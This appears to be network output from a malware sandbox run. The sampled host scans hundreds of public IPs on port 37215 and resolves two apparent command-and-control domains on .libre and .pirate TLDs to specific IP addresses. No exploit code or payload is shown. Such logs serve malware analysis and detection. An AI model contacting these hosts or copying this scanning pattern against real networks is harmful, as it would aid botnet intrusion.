Sep 25, 2024 14:14:28.571145058 CEST	63353	37215	192.168.2.14	156.154.131.60
Sep 25, 2024 14:14:28.571145058 CEST	63353	37215	192.168.2.14	41.182.85.52
Sep 25, 2024 14:14:28.571156025 CEST	63353	37215	192.168.2.14	156.224.126.229
Sep 25, 2024 14:14:28.571156025 CEST	63353	37215	192.168.2.14	156.101.244.79
Sep 25, 2024 14:14:28.571156025 CEST	63353	37215	192.168.2.14	41.220.126.152
Sep 25, 2024 14:14:28.571157932 CEST	63353	37215	192.168.2.14	156.38.63.63
Sep 25, 2024 14:14:28.571154118 CEST	63353	37215	192.168.2.14	41.192.104.254
Sep 25, 2024 14:14:28.571154118 CEST	63353	37215	192.168.2.14	156.225.112.236
Sep 25, 2024 14:14:28.571156025 CEST	63353	37215	192.168.2.14	156.97.227.187
Sep 25, 2024 14:14:28.571156025 CEST	63353	37215	192.168.2.14	156.25.225.58
Sep 25, 2024 14:14:28.571162939 CEST	63353	37215	192.168.2.14	41.117.97.73
Sep 25, 2024 14:14:28.571162939 CEST	63353	37215	192.168.2.14	41.197.108.7
Sep 25, 2024 14:14:28.571163893 CEST	63353	37215	192.168.2.14	197.195.28.242
Sep 25, 2024 14:14:28.571162939 CEST	63353	37215	192.168.2.14	156.127.138.165
Sep 25, 2024 14:14:28.571162939 CEST	63353	37215	192.168.2.14	156.124.90.232
Sep 25, 2024 14:14:28.571163893 CEST	63353	37215	192.168.2.14	41.162.236.154
Sep 25, 2024 14:14:28.571163893 CEST	63353	37215	192.168.2.14	197.112.32.230
Sep 25, 2024 14:14:28.571163893 CEST	63353	37215	192.168.2.14	197.158.136.13
Sep 25, 2024 14:14:28.571163893 CEST	63353	37215	192.168.2.14	197.109.190.154
Sep 25, 2024 14:14:28.571166039 CEST	63353	37215	192.168.2.14	41.124.130.192
Sep 25, 2024 14:14:28.571163893 CEST	63353	37215	192.168.2.14	197.223.116.16
Sep 25, 2024 14:14:28.571163893 CEST	63353	37215	192.168.2.14	41.24.223.203
Sep 25, 2024 14:14:28.571180105 CEST	63353	37215	192.168.2.14	197.225.56.165
Sep 25, 2024 14:14:28.571180105 CEST	63353	37215	192.168.2.14	156.86.144.39
Sep 25, 2024 14:14:28.571187973 CEST	63353	37215	192.168.2.14	156.79.151.252
Sep 25, 2024 14:14:28.571193933 CEST	63353	37215	192.168.2.14	41.132.51.157
Sep 25, 2024 14:14:28.571197987 CEST	63353	37215	192.168.2.14	197.216.130.97
Sep 25, 2024 14:14:28.571213961 CEST	63353	37215	192.168.2.14	41.67.105.202
Sep 25, 2024 14:14:28.571213961 CEST	63353	37215	192.168.2.14	197.20.46.225
Sep 25, 2024 14:14:28.571218967 CEST	63353	37215	192.168.2.14	41.171.158.122
Sep 25, 2024 14:14:28.571240902 CEST	63353	37215	192.168.2.14	197.89.32.162
Sep 25, 2024 14:14:28.571245909 CEST	63353	37215	192.168.2.14	41.133.48.163
Sep 25, 2024 14:14:28.571245909 CEST	63353	37215	192.168.2.14	197.146.240.228
Sep 25, 2024 14:14:28.571285009 CEST	37215	60628	197.198.142.167	192.168.2.14
Sep 25, 2024 14:14:28.571314096 CEST	37215	56408	197.232.85.84	192.168.2.14
Sep 25, 2024 14:14:28.571324110 CEST	37215	46170	156.239.3.244	192.168.2.14
Sep 25, 2024 14:14:28.571333885 CEST	37215	40096	156.203.208.6	192.168.2.14
Sep 25, 2024 14:14:28.571346045 CEST	63353	37215	192.168.2.14	156.31.123.87
Sep 25, 2024 14:14:28.571347952 CEST	63353	37215	192.168.2.14	197.249.194.174
Sep 25, 2024 14:14:28.571347952 CEST	63353	37215	192.168.2.14	156.61.19.81
Sep 25, 2024 14:14:28.571347952 CEST	63353	37215	192.168.2.14	41.151.159.21
Sep 25, 2024 14:14:28.571352959 CEST	37215	33974	41.13.242.126	192.168.2.14
Sep 25, 2024 14:14:28.571357965 CEST	63353	37215	192.168.2.14	156.94.73.233
Sep 25, 2024 14:14:28.571357965 CEST	37215	45472	197.103.231.195	192.168.2.14
Sep 25, 2024 14:14:28.571357965 CEST	63353	37215	192.168.2.14	41.103.68.144
Sep 25, 2024 14:14:28.571360111 CEST	63353	37215	192.168.2.14	41.249.131.6
Sep 25, 2024 14:14:28.571360111 CEST	63353	37215	192.168.2.14	156.184.151.170
Sep 25, 2024 14:14:28.571360111 CEST	63353	37215	192.168.2.14	41.234.180.119
Sep 25, 2024 14:14:28.571360111 CEST	63353	37215	192.168.2.14	41.188.53.47
Sep 25, 2024 14:14:28.571361065 CEST	63353	37215	192.168.2.14	156.146.73.226
Sep 25, 2024 14:14:28.571363926 CEST	63353	37215	192.168.2.14	156.10.56.113
Sep 25, 2024 14:14:28.571362972 CEST	37215	57024	197.66.212.76	192.168.2.14
Sep 25, 2024 14:14:28.571361065 CEST	63353	37215	192.168.2.14	41.253.149.123
Sep 25, 2024 14:14:28.571366072 CEST	63353	37215	192.168.2.14	41.240.255.248
Sep 25, 2024 14:14:28.571365118 CEST	63353	37215	192.168.2.14	41.234.249.236
Sep 25, 2024 14:14:28.571363926 CEST	63353	37215	192.168.2.14	197.252.126.32
Sep 25, 2024 14:14:28.571366072 CEST	63353	37215	192.168.2.14	197.10.105.29
Sep 25, 2024 14:14:28.571363926 CEST	63353	37215	192.168.2.14	156.121.202.116
Sep 25, 2024 14:14:28.571365118 CEST	63353	37215	192.168.2.14	197.81.132.179
Sep 25, 2024 14:14:28.571362019 CEST	56408	37215	192.168.2.14	197.232.85.84
Sep 25, 2024 14:14:28.571372032 CEST	37215	51962	197.89.121.177	192.168.2.14
Sep 25, 2024 14:14:28.571363926 CEST	63353	37215	192.168.2.14	197.53.158.122
Sep 25, 2024 14:14:28.571362019 CEST	63353	37215	192.168.2.14	41.61.178.158
Sep 25, 2024 14:14:28.571382046 CEST	63353	37215	192.168.2.14	41.105.243.236
Sep 25, 2024 14:14:28.571365118 CEST	63353	37215	192.168.2.14	41.253.119.39
Sep 25, 2024 14:14:28.571373940 CEST	63353	37215	192.168.2.14	156.222.128.229
Sep 25, 2024 14:14:28.571360111 CEST	63353	37215	192.168.2.14	197.20.110.66
Sep 25, 2024 14:14:28.571365118 CEST	63353	37215	192.168.2.14	156.70.30.87
Sep 25, 2024 14:14:28.571382046 CEST	63353	37215	192.168.2.14	197.15.219.251
Sep 25, 2024 14:14:28.571382046 CEST	63353	37215	192.168.2.14	41.118.7.134
Sep 25, 2024 14:14:28.571393967 CEST	63353	37215	192.168.2.14	197.84.147.218
Sep 25, 2024 14:14:28.571396112 CEST	37215	34870	197.39.234.102	192.168.2.14
Sep 25, 2024 14:14:28.571398020 CEST	63353	37215	192.168.2.14	41.49.12.153
Sep 25, 2024 14:14:28.571403980 CEST	63353	37215	192.168.2.14	197.72.6.0
Sep 25, 2024 14:14:28.571403980 CEST	63353	37215	192.168.2.14	197.248.20.236
Sep 25, 2024 14:14:28.571404934 CEST	63353	37215	192.168.2.14	156.62.104.109
Sep 25, 2024 14:14:28.571404934 CEST	63353	37215	192.168.2.14	197.195.242.139
Sep 25, 2024 14:14:28.571408033 CEST	40096	37215	192.168.2.14	156.203.208.6
Sep 25, 2024 14:14:28.571408987 CEST	63353	37215	192.168.2.14	41.19.39.130
Sep 25, 2024 14:14:28.571408987 CEST	46170	37215	192.168.2.14	156.239.3.244
Sep 25, 2024 14:14:28.571408987 CEST	63353	37215	192.168.2.14	156.139.131.47
Sep 25, 2024 14:14:28.571408987 CEST	63353	37215	192.168.2.14	41.45.90.250
Sep 25, 2024 14:14:28.571408987 CEST	63353	37215	192.168.2.14	156.197.156.6
Sep 25, 2024 14:14:28.571408987 CEST	33974	37215	192.168.2.14	41.13.242.126
Sep 25, 2024 14:14:28.571413040 CEST	45472	37215	192.168.2.14	197.103.231.195
Sep 25, 2024 14:14:28.571413994 CEST	57024	37215	192.168.2.14	197.66.212.76
Sep 25, 2024 14:14:28.571415901 CEST	37215	42158	156.45.38.194	192.168.2.14
Sep 25, 2024 14:14:28.571415901 CEST	63353	37215	192.168.2.14	41.28.64.97
Sep 25, 2024 14:14:28.571415901 CEST	63353	37215	192.168.2.14	197.253.36.197
Sep 25, 2024 14:14:28.571415901 CEST	63353	37215	192.168.2.14	41.233.44.140
Sep 25, 2024 14:14:28.571415901 CEST	60628	37215	192.168.2.14	197.198.142.167
Sep 25, 2024 14:14:28.571415901 CEST	63353	37215	192.168.2.14	156.199.92.28
Sep 25, 2024 14:14:28.571415901 CEST	63353	37215	192.168.2.14	197.12.70.65
Sep 25, 2024 14:14:28.571419954 CEST	34870	37215	192.168.2.14	197.39.234.102
Sep 25, 2024 14:14:28.571424961 CEST	51962	37215	192.168.2.14	197.89.121.177
Sep 25, 2024 14:14:28.571425915 CEST	63353	37215	192.168.2.14	41.228.178.122
Sep 25, 2024 14:14:28.571425915 CEST	37215	48230	156.181.128.158	192.168.2.14
Sep 25, 2024 14:14:28.571425915 CEST	63353	37215	192.168.2.14	197.128.108.88
Sep 25, 2024 14:14:28.571425915 CEST	63353	37215	192.168.2.14	156.210.203.6
Sep 25, 2024 14:14:28.571425915 CEST	63353	37215	192.168.2.14	197.193.65.231
Sep 25, 2024 14:14:28.571425915 CEST	63353	37215	192.168.2.14	156.120.3.156
Sep 25, 2024 14:14:28.571435928 CEST	63353	37215	192.168.2.14	197.189.96.37
Sep 25, 2024 14:14:28.571440935 CEST	37215	55442	41.33.196.235	192.168.2.14
Sep 25, 2024 14:14:28.571444988 CEST	42158	37215	192.168.2.14	156.45.38.194
Sep 25, 2024 14:14:28.571453094 CEST	37215	39304	197.217.4.140	192.168.2.14
Sep 25, 2024 14:14:28.571454048 CEST	63353	37215	192.168.2.14	156.210.17.33
Sep 25, 2024 14:14:28.571459055 CEST	48230	37215	192.168.2.14	156.181.128.158
Sep 25, 2024 14:14:28.571466923 CEST	37215	35082	41.199.44.130	192.168.2.14
Sep 25, 2024 14:14:28.571470022 CEST	55442	37215	192.168.2.14	41.33.196.235
Sep 25, 2024 14:14:28.571476936 CEST	63353	37215	192.168.2.14	156.176.165.130
Sep 25, 2024 14:14:28.571476936 CEST	63353	37215	192.168.2.14	41.192.248.255
Sep 25, 2024 14:14:28.571479082 CEST	37215	38008	156.94.130.72	192.168.2.14
Sep 25, 2024 14:14:28.571485996 CEST	39304	37215	192.168.2.14	197.217.4.140
Sep 25, 2024 14:14:28.571487904 CEST	37215	42324	156.225.45.70	192.168.2.14
Sep 25, 2024 14:14:28.571496964 CEST	35082	37215	192.168.2.14	41.199.44.130
Sep 25, 2024 14:14:28.571499109 CEST	37215	50704	197.66.37.45	192.168.2.14
Sep 25, 2024 14:14:28.571505070 CEST	63353	37215	192.168.2.14	41.237.190.23
Sep 25, 2024 14:14:28.571511984 CEST	37215	50188	197.162.20.115	192.168.2.14
Sep 25, 2024 14:14:28.571512938 CEST	42324	37215	192.168.2.14	156.225.45.70
Sep 25, 2024 14:14:28.571515083 CEST	38008	37215	192.168.2.14	156.94.130.72
Sep 25, 2024 14:14:28.571521997 CEST	37215	51898	41.86.154.216	192.168.2.14
Sep 25, 2024 14:14:28.571531057 CEST	37215	37790	156.236.249.253	192.168.2.14
Sep 25, 2024 14:14:28.571535110 CEST	37215	35230	156.81.18.222	192.168.2.14
Sep 25, 2024 14:14:28.571602106 CEST	63353	37215	192.168.2.14	156.251.114.250
Sep 25, 2024 14:14:28.571604967 CEST	50704	37215	192.168.2.14	197.66.37.45
Sep 25, 2024 14:14:28.571616888 CEST	63353	37215	192.168.2.14	41.21.148.179
Sep 25, 2024 14:14:28.571631908 CEST	63353	37215	192.168.2.14	156.56.75.175
Sep 25, 2024 14:14:28.571631908 CEST	63353	37215	192.168.2.14	41.127.227.204
Sep 25, 2024 14:14:28.571635962 CEST	63353	37215	192.168.2.14	41.120.96.177
Sep 25, 2024 14:14:28.571635962 CEST	63353	37215	192.168.2.14	156.63.239.26
Sep 25, 2024 14:14:28.571636915 CEST	63353	37215	192.168.2.14	156.4.247.161
Sep 25, 2024 14:14:28.571635962 CEST	63353	37215	192.168.2.14	156.159.28.79
Sep 25, 2024 14:14:28.571638107 CEST	63353	37215	192.168.2.14	156.228.104.224
Sep 25, 2024 14:14:28.571640015 CEST	63353	37215	192.168.2.14	156.36.252.200
Sep 25, 2024 14:14:28.571636915 CEST	63353	37215	192.168.2.14	41.216.35.240
Sep 25, 2024 14:14:28.571640015 CEST	63353	37215	192.168.2.14	197.113.91.168
Sep 25, 2024 14:14:28.571638107 CEST	63353	37215	192.168.2.14	41.223.165.221
Sep 25, 2024 14:14:28.571640015 CEST	63353	37215	192.168.2.14	41.222.186.184
Sep 25, 2024 14:14:28.571638107 CEST	63353	37215	192.168.2.14	197.9.104.109
Sep 25, 2024 14:14:28.571640015 CEST	63353	37215	192.168.2.14	156.184.97.111
Sep 25, 2024 14:14:28.571636915 CEST	63353	37215	192.168.2.14	156.13.161.110
Sep 25, 2024 14:14:28.571640015 CEST	63353	37215	192.168.2.14	156.54.80.8
Sep 25, 2024 14:14:28.571636915 CEST	63353	37215	192.168.2.14	156.102.70.150
Sep 25, 2024 14:14:28.571640015 CEST	63353	37215	192.168.2.14	41.181.254.61
Sep 25, 2024 14:14:28.571660042 CEST	63353	37215	192.168.2.14	197.196.124.149
Sep 25, 2024 14:14:28.571660042 CEST	63353	37215	192.168.2.14	197.90.235.52
Sep 25, 2024 14:14:28.571664095 CEST	63353	37215	192.168.2.14	197.125.134.130
Sep 25, 2024 14:14:28.571664095 CEST	63353	37215	192.168.2.14	197.124.154.42
Sep 25, 2024 14:14:28.571664095 CEST	63353	37215	192.168.2.14	197.112.28.56
Sep 25, 2024 14:14:28.571666956 CEST	63353	37215	192.168.2.14	197.245.238.14
Sep 25, 2024 14:14:28.571666956 CEST	63353	37215	192.168.2.14	156.88.125.210
Sep 25, 2024 14:14:28.571667910 CEST	63353	37215	192.168.2.14	197.43.121.227
Sep 25, 2024 14:14:28.571667910 CEST	51898	37215	192.168.2.14	41.86.154.216
Sep 25, 2024 14:14:28.571669102 CEST	63353	37215	192.168.2.14	156.148.139.141
Sep 25, 2024 14:14:28.571667910 CEST	35230	37215	192.168.2.14	156.81.18.222
Sep 25, 2024 14:14:28.571667910 CEST	63353	37215	192.168.2.14	156.150.125.204
Sep 25, 2024 14:14:28.571671963 CEST	50188	37215	192.168.2.14	197.162.20.115
Sep 25, 2024 14:14:28.571669102 CEST	63353	37215	192.168.2.14	41.165.92.41
Sep 25, 2024 14:14:28.571671963 CEST	37790	37215	192.168.2.14	156.236.249.253
Sep 25, 2024 14:14:28.571667910 CEST	63353	37215	192.168.2.14	156.47.79.65
Sep 25, 2024 14:14:28.571669102 CEST	63353	37215	192.168.2.14	197.52.22.149
Sep 25, 2024 14:14:28.571667910 CEST	63353	37215	192.168.2.14	156.82.81.105
Sep 25, 2024 14:14:28.571671963 CEST	63353	37215	192.168.2.14	197.30.11.99
Sep 25, 2024 14:14:28.571667910 CEST	63353	37215	192.168.2.14	197.151.80.224
Sep 25, 2024 14:14:28.571667910 CEST	63353	37215	192.168.2.14	41.13.48.199
Sep 25, 2024 14:14:28.571667910 CEST	63353	37215	192.168.2.14	197.203.218.121
Sep 25, 2024 14:14:28.571671963 CEST	63353	37215	192.168.2.14	156.159.224.245
Sep 25, 2024 14:14:28.571667910 CEST	63353	37215	192.168.2.14	197.13.153.116
Sep 25, 2024 14:14:28.571667910 CEST	63353	37215	192.168.2.14	197.41.62.122
Sep 25, 2024 14:14:28.571667910 CEST	63353	37215	192.168.2.14	197.132.23.130
Sep 25, 2024 14:14:28.571667910 CEST	63353	37215	192.168.2.14	197.137.117.14
Sep 25, 2024 14:14:28.571685076 CEST	63353	37215	192.168.2.14	41.28.146.60
Sep 25, 2024 14:14:28.571685076 CEST	63353	37215	192.168.2.14	156.68.49.58
Sep 25, 2024 14:14:28.571686029 CEST	38008	37215	192.168.2.14	156.94.130.72
Sep 25, 2024 14:14:28.571688890 CEST	37215	37882	156.234.141.152	192.168.2.14
Sep 25, 2024 14:14:28.571702957 CEST	50188	37215	192.168.2.14	197.162.20.115
Sep 25, 2024 14:14:28.571702957 CEST	35082	37215	192.168.2.14	41.199.44.130
Sep 25, 2024 14:14:28.571711063 CEST	37882	37215	192.168.2.14	156.234.141.152
Sep 25, 2024 14:14:28.571717024 CEST	42324	37215	192.168.2.14	156.225.45.70
Sep 25, 2024 14:14:28.571741104 CEST	39304	37215	192.168.2.14	197.217.4.140
Sep 25, 2024 14:14:28.571742058 CEST	34870	37215	192.168.2.14	197.39.234.102
Sep 25, 2024 14:14:28.571744919 CEST	57024	37215	192.168.2.14	197.66.212.76
Sep 25, 2024 14:14:28.571753979 CEST	37215	60550	156.225.218.158	192.168.2.14
Sep 25, 2024 14:14:28.571770906 CEST	37215	37368	156.187.201.235	192.168.2.14
Sep 25, 2024 14:14:28.571789026 CEST	37215	50806	197.78.143.131	192.168.2.14
Sep 25, 2024 14:14:28.571798086 CEST	37215	43590	156.171.152.43	192.168.2.14
Sep 25, 2024 14:14:28.571808100 CEST	37215	41288	41.51.35.238	192.168.2.14
Sep 25, 2024 14:14:28.571822882 CEST	37215	41022	41.156.111.157	192.168.2.14
Sep 25, 2024 14:14:28.571830988 CEST	37215	38768	41.79.119.224	192.168.2.14
Sep 25, 2024 14:14:28.571841002 CEST	37215	58478	41.130.77.93	192.168.2.14
Sep 25, 2024 14:14:28.571842909 CEST	35230	37215	192.168.2.14	156.81.18.222
Sep 25, 2024 14:14:28.571844101 CEST	55442	37215	192.168.2.14	41.33.196.235
Sep 25, 2024 14:14:28.571851015 CEST	37215	59742	156.248.57.255	192.168.2.14
Sep 25, 2024 14:14:28.571860075 CEST	37215	59130	156.158.105.241	192.168.2.14
Sep 25, 2024 14:14:28.571862936 CEST	48230	37215	192.168.2.14	156.181.128.158
Sep 25, 2024 14:14:28.571862936 CEST	41288	37215	192.168.2.14	41.51.35.238
Sep 25, 2024 14:14:28.571863890 CEST	40096	37215	192.168.2.14	156.203.208.6
Sep 25, 2024 14:14:28.571865082 CEST	51962	37215	192.168.2.14	197.89.121.177
Sep 25, 2024 14:14:28.571866989 CEST	57728	37215	192.168.2.14	197.225.21.22
Sep 25, 2024 14:14:28.571866989 CEST	37790	37215	192.168.2.14	156.236.249.253
Sep 25, 2024 14:14:28.571870089 CEST	43590	37215	192.168.2.14	156.171.152.43
Sep 25, 2024 14:14:28.571871042 CEST	37215	38696	156.232.20.55	192.168.2.14
Sep 25, 2024 14:14:28.571877956 CEST	42158	37215	192.168.2.14	156.45.38.194
Sep 25, 2024 14:14:28.571878910 CEST	33974	37215	192.168.2.14	41.13.242.126
Sep 25, 2024 14:14:28.571877956 CEST	50704	37215	192.168.2.14	197.66.37.45
Sep 25, 2024 14:14:28.571878910 CEST	46170	37215	192.168.2.14	156.239.3.244
Sep 25, 2024 14:14:28.571877956 CEST	59742	37215	192.168.2.14	156.248.57.255
Sep 25, 2024 14:14:28.571881056 CEST	37215	51050	41.57.194.114	192.168.2.14
Sep 25, 2024 14:14:28.571881056 CEST	51898	37215	192.168.2.14	41.86.154.216
Sep 25, 2024 14:14:28.571881056 CEST	45472	37215	192.168.2.14	197.103.231.195
Sep 25, 2024 14:14:28.571883917 CEST	50806	37215	192.168.2.14	197.78.143.131
Sep 25, 2024 14:14:28.571883917 CEST	41022	37215	192.168.2.14	41.156.111.157
Sep 25, 2024 14:14:28.571883917 CEST	38768	37215	192.168.2.14	41.79.119.224
Sep 25, 2024 14:14:28.571888924 CEST	59130	37215	192.168.2.14	156.158.105.241
Sep 25, 2024 14:14:28.571892977 CEST	37215	42544	156.234.253.235	192.168.2.14
Sep 25, 2024 14:14:28.571904898 CEST	37215	49938	156.170.145.195	192.168.2.14
Sep 25, 2024 14:14:28.571906090 CEST	38696	37215	192.168.2.14	156.232.20.55
Sep 25, 2024 14:14:28.571909904 CEST	51050	37215	192.168.2.14	41.57.194.114
Sep 25, 2024 14:14:28.571913958 CEST	37215	57342	197.183.125.169	192.168.2.14
Sep 25, 2024 14:14:28.571917057 CEST	60550	37215	192.168.2.14	156.225.218.158
Sep 25, 2024 14:14:28.571917057 CEST	44318	37215	192.168.2.14	197.204.136.152
Sep 25, 2024 14:14:28.571917057 CEST	44318	37215	192.168.2.14	197.204.136.152
Sep 25, 2024 14:14:28.571917057 CEST	37368	37215	192.168.2.14	156.187.201.235
Sep 25, 2024 14:14:28.571917057 CEST	58478	37215	192.168.2.14	41.130.77.93
Sep 25, 2024 14:14:28.571921110 CEST	42544	37215	192.168.2.14	156.234.253.235
Sep 25, 2024 14:14:28.571926117 CEST	37215	39358	197.67.2.0	192.168.2.14
Sep 25, 2024 14:14:28.571932077 CEST	49938	37215	192.168.2.14	156.170.145.195
Sep 25, 2024 14:14:28.571933985 CEST	57342	37215	192.168.2.14	197.183.125.169
Sep 25, 2024 14:14:28.571937084 CEST	37215	36472	197.141.193.242	192.168.2.14
Sep 25, 2024 14:14:28.571947098 CEST	37215	39246	197.43.150.11	192.168.2.14
Sep 25, 2024 14:14:28.571957111 CEST	39358	37215	192.168.2.14	197.67.2.0
Sep 25, 2024 14:14:28.571957111 CEST	37215	58026	156.188.255.235	192.168.2.14
Sep 25, 2024 14:14:28.571959972 CEST	36472	37215	192.168.2.14	197.141.193.242
Sep 25, 2024 14:14:28.571968079 CEST	37215	32780	41.191.135.128	192.168.2.14
Sep 25, 2024 14:14:28.571971893 CEST	39246	37215	192.168.2.14	197.43.150.11
Sep 25, 2024 14:14:28.571978092 CEST	37215	55702	197.232.30.114	192.168.2.14
Sep 25, 2024 14:14:28.571986914 CEST	58026	37215	192.168.2.14	156.188.255.235
Sep 25, 2024 14:14:28.571997881 CEST	32780	37215	192.168.2.14	41.191.135.128
Sep 25, 2024 14:14:28.572046041 CEST	55702	37215	192.168.2.14	197.232.30.114
Sep 25, 2024 14:14:28.572124958 CEST	37215	38432	156.31.128.84	192.168.2.14
Sep 25, 2024 14:14:28.572135925 CEST	37215	58926	156.103.4.128	192.168.2.14
Sep 25, 2024 14:14:28.572148085 CEST	37215	58880	41.218.193.174	192.168.2.14
Sep 25, 2024 14:14:28.572155952 CEST	38432	37215	192.168.2.14	156.31.128.84
Sep 25, 2024 14:14:28.572163105 CEST	37215	34190	197.138.129.194	192.168.2.14
Sep 25, 2024 14:14:28.572165012 CEST	58926	37215	192.168.2.14	156.103.4.128
Sep 25, 2024 14:14:28.572173119 CEST	37215	45188	197.30.224.191	192.168.2.14
Sep 25, 2024 14:14:28.572179079 CEST	58880	37215	192.168.2.14	41.218.193.174
Sep 25, 2024 14:14:28.572182894 CEST	37215	56512	197.103.80.54	192.168.2.14
Sep 25, 2024 14:14:28.572191954 CEST	37215	46100	156.160.112.195	192.168.2.14
Sep 25, 2024 14:14:28.572201014 CEST	45188	37215	192.168.2.14	197.30.224.191
Sep 25, 2024 14:14:28.572201014 CEST	37215	46344	156.22.33.252	192.168.2.14
Sep 25, 2024 14:14:28.572208881 CEST	34190	37215	192.168.2.14	197.138.129.194
Sep 25, 2024 14:14:28.572211027 CEST	37215	44276	41.117.24.187	192.168.2.14
Sep 25, 2024 14:14:28.572228909 CEST	37215	34738	197.190.69.137	192.168.2.14
Sep 25, 2024 14:14:28.572237968 CEST	37215	55450	156.152.3.117	192.168.2.14
Sep 25, 2024 14:14:28.572247028 CEST	37215	55510	156.63.107.70	192.168.2.14
Sep 25, 2024 14:14:28.572256088 CEST	37215	50040	156.181.180.92	192.168.2.14
Sep 25, 2024 14:14:28.572266102 CEST	37215	58580	197.247.35.202	192.168.2.14
Sep 25, 2024 14:14:28.572292089 CEST	34738	37215	192.168.2.14	197.190.69.137
Sep 25, 2024 14:14:28.572293997 CEST	44276	37215	192.168.2.14	41.117.24.187
Sep 25, 2024 14:14:28.572295904 CEST	56512	37215	192.168.2.14	197.103.80.54
Sep 25, 2024 14:14:28.572295904 CEST	46344	37215	192.168.2.14	156.22.33.252
Sep 25, 2024 14:14:28.572299004 CEST	46100	37215	192.168.2.14	156.160.112.195
Sep 25, 2024 14:14:28.572309971 CEST	55510	37215	192.168.2.14	156.63.107.70
Sep 25, 2024 14:14:28.572314024 CEST	58580	37215	192.168.2.14	197.247.35.202

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 25, 2024 14:14:08.484596014 CEST	192.168.2.14	195.10.195.195	0x0	Standard query (0)	bigbootybots.libre	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:08.492846012 CEST	192.168.2.14	195.10.195.195	0x0	Standard query (0)	d00mstoleyourboat.pirate	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 25, 2024 14:14:08.492404938 CEST	195.10.195.195	192.168.2.14	0x0	No error (0)	bigbootybots.libre		94.156.69.151	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:08.500161886 CEST	195.10.195.195	192.168.2.14	0x0	No error (0)	d00mstoleyourboat.pirate		185.196.8.7	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:08.589076042 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:08.602267027 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:08.612320900 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:08.621649981 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:08.630774021 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:11.331880093 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:11.343122959 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:11.355323076 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:11.365180016 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:11.374178886 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:14.095129013 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:19.168433905 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:19.177342892 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:19.185322046 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:21.905975103 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:21.932876110 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:21.946245909 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:26.962574959 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:29.980478048 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:30.075445890 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:30.132294893 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:30.249682903 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:30.303738117 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:35.881386995 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:35.911031961 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:35.959314108 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
